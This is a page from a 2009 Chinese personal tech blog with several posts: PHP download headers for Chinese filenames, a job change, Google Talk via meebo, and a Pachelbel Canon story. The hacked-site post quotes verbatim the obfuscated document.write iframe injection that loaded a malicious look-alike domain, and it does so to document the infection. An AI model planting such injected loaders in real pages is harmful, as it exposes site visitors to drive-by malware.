关于PHP输出文件给浏览器下载时的编码问题
2009-08-01
    做文件管理器的时候会遇到让PHP输出一个文件给浏览器下载。我们都知道要发一下一些header:

$filename = "下载文件名";
$filesize = filesize('文件地址'); //获得文件大小
header('Pragma: public');
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: application/force-download');
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-length: '.$filesize);
然后再用readfile把文件内容输出给浏览器。但是会遇到一个很烦的问题:弹出文件下载框时,显示的文件名在不同的浏览器下面是不一样的。有的是乱码,有的是空白。 为了解决这个问题,我找了查了很多资料。最终找到一个好的解决办法: 文件名统一使用utf-8编码,然后针对ie浏览器进行一次rawurlencode编码。 比如: if (preg_match('/MSIE/',$_SERVER['HTTP_USER_AGENT'])) $filename = rawurlencode($filename); 这样在不同操作系统,不同浏览器里面,下载文件的时候,中文文件名都能正确显示了。 测试通过:Safari4(MAC) ,Firefox3.5(MAC), Firefox3(Win), IE7/8(Win), Chrome(Win)

完。

5412 read 4 comment(s)
加入CMSTOP开发团队。
2009-07-19
  跟淡淡风很早就认识。这次他开始弄cmstop,正好我是暑假,他就叫我过来了。现在在北京,刚搬进新写字楼,环境不错。这边也有很多高手,要多多向他们学习。   印象最深的是比我小的陶秋丰(EndTo)。做站高手,SEO高手。还出了本书的:《年入10万--17岁草根少年的网赚实战》~~以后要多像他学习SEO才是。。   每周有一天休息。正好我可以逛逛北京~。北京给我的第一印象就是很大。成都才只有4环,我都觉得太大了,北京都6环了。。。。还好有地铁,挺快的。 有邮箱了:liuchunlong@cmstop.com

完。

4179 read 42 comment(s)
空间被大面积挂马。
2009-07-09
最近莫名其妙的博客打不开,一查,发现用作跳转的index.php被加了东西。是一个iframe的马。那段php代码还有错误,汗~~所以造成无法跳转。后来经过调查,发现这个马的一些特征:
一般感染只感染 index.php , main.php, login.php, index.html。 核心代码类似: <script>document.write("<"+'if'+''+'ra'+''+"me"+' sr'+"c=\"ht"+'t'+"p:"+''+"/"+''+'/mic'+"roso"+"tf"+''+'.c'+''+"n"+'/'+"\" wid"+''+"th=1 h"+"eigh"+''+'t'+"="+"2></i"+''+"fr"+"a"+''+""+''+"me"+'>');</script><script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>
可以看到iframe的页面指向 microsotf.cn (不用惊恐,不是microsoft~~)。Google这个网页,发现这个网页是俄罗斯的。报告有2个病毒。现在已经无法访问了。 现在一时也查不到中招的原因。只有写个脚本修复被修改的文件吧。。。

完。

2832 read 20 comment(s)
在国内完美使用Google Talk的方法之一
2009-06-25
  首先对google被墙深表遗憾!   随着google被墙,google talk受到影响,以至于无法使用gtalk客户端登录。google talk对于我这种人来说是必不可少的。于是尝试使用第三方网页聊天系统 meebo。(www.meebo.com)   由于是网页聊天系统,在消息提醒方面肯定没有桌面软件爽,于是尝试使用Firefox的用户脚本管理插件Greasemonkey自己写了一个脚本,来提醒有时候忽视的消息。大概方法是监视窗口的标题(document.title)的变化,如果持续变化30秒,那么就弹出一个alert窗口提示一下。   后来发现原来meebo本身专门有一个firefox的消息提醒插件。晕~在那白费了那么多力气~~。   不过在后来的使用中发现meebo的消息提醒只能显示3秒钟,这也太快了吧,要是3秒钟之内没看到就麻烦了。。。不过幸好这是Firefox的插件,可以自己动手修改的。在系统里面找了一下,找到了插件安装的位置。打开配置文件,修改3000为30000,这样消息提醒就变成30秒了。哈哈。。哦,对了,具体的配置文件在(Mac Leopard 10.5):
/Users/{用户名}/Library/Application\ Support/Firefox/Profiles/z7yblz0u.default/extensions/ firefox\@meebo.com/defaults/preferences/meebo.js
(苹果系统,其他的系统位置大概差不多吧,貌似记得windows是在C:\Documents and Settings\{用户名}\Application Data\Mozilla\Firefox\下)。 修改meebo.notify-pause-time的值,原来应该是3000,表示3000毫秒。想要多少随意改。 改完了保存,重启Firefox。OK~Perfect~   其实meebo是一个非常强大的网页整合聊天系统,除了支持gtalk外,还支持其他40多种聊天协议,比如Facebook ,MSN,My Space, Jabber, AIM, ICQ等等。而且不仅仅是文字聊天,还支持网页视频聊天,文件传送等等众多强大的功能。 哇~现在发现meebo果然强大。

完。

8862 read 14 comment(s)
最近疯狂的爱上了卡农
2009-06-21

      最近也不知道什么原因,暴喜欢听卡农。喜欢一个人迷失在卡农螺旋的阶梯上,拥抱那渗入骨子中的美。   

      关于卡农还有个传说:   

      Pachelbel在他10几岁的时候,流浪到英国被英国一个小村庄的琴师收养,之后他天天听那个他弹琴,也学会了钢琴。   在他们旁边的镇上上有一个女孩子叫Barbara Gabler,家里有钱有势,Barbara Gabler也是镇上最漂亮的女孩,自从到教堂听Pachelbel弹的曲子,就爱上了他。

      很多有钱人上门向Barbara Gabler提亲都被拒绝了,因为Barbara Gabler心里只喜欢Pachelbel。但女孩比较害羞,从小被宠到大的Barbara Gabler一直不敢向Pachelbel表白,后来Barbara Gabler就找了个理由,说要去Pachelbel那里学钢琴,她对Pachelbel说自己热爱音乐,希望可以拜师学艺。Pachelbel很高兴的收下了这个徒弟。

查看全文...  

3950 read 47 comment(s)
上一页 1... 11 12 13 [14] 15 16 17 ...35 下一页
Copyright © Longbill 2008-2024 , Designed by EndTo , Powered by EndCMS